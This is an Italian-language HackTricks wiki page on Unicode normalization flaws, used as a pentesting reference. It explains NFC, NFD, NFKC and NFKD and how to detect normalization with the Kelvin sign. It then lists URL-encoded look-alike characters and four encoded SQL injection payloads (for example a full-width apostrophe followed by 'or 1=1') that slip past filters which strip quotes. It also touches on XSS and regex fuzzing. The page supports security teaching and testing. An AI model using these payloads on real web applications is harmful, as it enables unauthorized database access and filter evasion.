mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
105 lines
6.8 KiB
Markdown
105 lines
6.8 KiB
Markdown
# Unicode Normalization
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
**Questo è un riepilogo di:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Dai un'occhiata per ulteriori dettagli (immagini prese da lì).
|
||
|
||
## Comprendere Unicode e Normalizzazione
|
||
|
||
La normalizzazione Unicode è un processo che garantisce che diverse rappresentazioni binarie di caratteri siano standardizzate allo stesso valore binario. Questo processo è cruciale nella gestione delle stringhe nella programmazione e nell'elaborazione dei dati. Lo standard Unicode definisce due tipi di equivalenza dei caratteri:
|
||
|
||
1. **Equivalenza Canonica**: I caratteri sono considerati canonici equivalenti se hanno lo stesso aspetto e significato quando stampati o visualizzati.
|
||
2. **Equivalenza di Compatibilità**: Una forma più debole di equivalenza in cui i caratteri possono rappresentare lo stesso carattere astratto ma possono essere visualizzati in modo diverso.
|
||
|
||
Ci sono **quattro algoritmi di normalizzazione Unicode**: NFC, NFD, NFKC e NFKD. Ogni algoritmo impiega tecniche di normalizzazione canonica e di compatibilità in modo diverso. Per una comprensione più approfondita, puoi esplorare queste tecniche su [Unicode.org](https://unicode.org/).
|
||
|
||
### Punti Chiave sulla Codifica Unicode
|
||
|
||
Comprendere la codifica Unicode è fondamentale, specialmente quando si affrontano problemi di interoperabilità tra diversi sistemi o lingue. Ecco i punti principali:
|
||
|
||
- **Punti di Codice e Caratteri**: In Unicode, a ciascun carattere o simbolo è assegnato un valore numerico noto come "punto di codice".
|
||
- **Rappresentazione in Byte**: Il punto di codice (o carattere) è rappresentato da uno o più byte in memoria. Ad esempio, i caratteri LATIN-1 (comuni nei paesi di lingua inglese) sono rappresentati utilizzando un byte. Tuttavia, le lingue con un set di caratteri più ampio necessitano di più byte per la rappresentazione.
|
||
- **Codifica**: Questo termine si riferisce a come i caratteri vengono trasformati in una serie di byte. UTF-8 è uno standard di codifica prevalente in cui i caratteri ASCII sono rappresentati utilizzando un byte e fino a quattro byte per altri caratteri.
|
||
- **Elaborazione dei Dati**: I sistemi che elaborano dati devono essere a conoscenza della codifica utilizzata per convertire correttamente il flusso di byte in caratteri.
|
||
- **Varianti di UTF**: Oltre a UTF-8, ci sono altri standard di codifica come UTF-16 (che utilizza un minimo di 2 byte, fino a 4) e UTF-32 (che utilizza 4 byte per tutti i caratteri).
|
||
|
||
È cruciale comprendere questi concetti per gestire e mitigare efficacemente i potenziali problemi derivanti dalla complessità di Unicode e dai suoi vari metodi di codifica.
|
||
|
||
Un esempio di come Unicode normalizza due byte diversi che rappresentano lo stesso carattere:
|
||
```python
|
||
unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")
|
||
```
|
||
**Un elenco di caratteri equivalenti Unicode può essere trovato qui:** [https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html) e [https://0xacb.com/normalization_table](https://0xacb.com/normalization_table)
|
||
|
||
### Scoprire
|
||
|
||
Se riesci a trovare all'interno di un'app web un valore che viene restituito, potresti provare a inviare **‘KELVIN SIGN’ (U+0212A)** che **si normalizza in "K"** (puoi inviarlo come `%e2%84%aa`). **Se un "K" viene restituito**, allora viene eseguita qualche forma di **normalizzazione Unicode**.
|
||
|
||
Altro **esempio**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` dopo **unicode** è `Leonishan`.
|
||
|
||
## **Esempi Vulnerabili**
|
||
|
||
### **Bypass del filtro SQL Injection**
|
||
|
||
Immagina una pagina web che utilizza il carattere `'` per creare query SQL con l'input dell'utente. Questa web, come misura di sicurezza, **elimina** tutte le occorrenze del carattere **`'`** dall'input dell'utente, ma **dopo quella cancellazione** e **prima della creazione** della query, **normalizza** utilizzando **Unicode** l'input dell'utente.
|
||
|
||
Quindi, un utente malintenzionato potrebbe inserire un carattere Unicode diverso equivalente a `' (0x27)` come `%ef%bc%87`, quando l'input viene normalizzato, viene creato un apostrofo e appare una **vulnerabilità SQLInjection**:
|
||
|
||
.png>)
|
||
|
||
**Alcuni caratteri Unicode interessanti**
|
||
|
||
- `o` -- %e1%b4%bc
|
||
- `r` -- %e1%b4%bf
|
||
- `1` -- %c2%b9
|
||
- `=` -- %e2%81%bc
|
||
- `/` -- %ef%bc%8f
|
||
- `-`-- %ef%b9%a3
|
||
- `#`-- %ef%b9%9f
|
||
- `*`-- %ef%b9%a1
|
||
- `'` -- %ef%bc%87
|
||
- `"` -- %ef%bc%82
|
||
- `|` -- %ef%bd%9c
|
||
```
|
||
' or 1=1-- -
|
||
%ef%bc%87+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3
|
||
|
||
" or 1=1-- -
|
||
%ef%bc%82+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3
|
||
|
||
' || 1==1//
|
||
%ef%bc%87+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f
|
||
|
||
" || 1==1//
|
||
%ef%bc%82+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f
|
||
```
|
||
#### sqlmap template
|
||
|
||
{{#ref}}
|
||
https://github.com/carlospolop/sqlmap_to_unicode_template
|
||
{{#endref}}
|
||
|
||
### XSS (Cross Site Scripting)
|
||
|
||
Puoi utilizzare uno dei seguenti caratteri per ingannare l'app web e sfruttare un XSS:
|
||
|
||
 (2).png>)
|
||
|
||
Nota che, ad esempio, il primo carattere Unicode proposto può essere inviato come: `%e2%89%ae` o come `%u226e`
|
||
|
||
 (1) (1).png>)
|
||
|
||
### Fuzzing Regexes
|
||
|
||
Quando il backend sta **controllando l'input dell'utente con una regex**, potrebbe essere possibile che l'**input** venga **normalizzato** per la **regex** ma **non** per dove viene **utilizzato**. Ad esempio, in un Open Redirect o SSRF, la regex potrebbe **normalizzare l'URL inviato** ma poi **accedervi così com'è**.
|
||
|
||
Lo strumento [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* consente di **generare variazioni dell'input** per fuzzare il backend. Per ulteriori informazioni, controlla il **github** e questo [**post**](https://0xacb.com/2022/11/21/recollapse/).
|
||
|
||
## References
|
||
|
||
- [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)
|
||
- [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
|
||
- [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|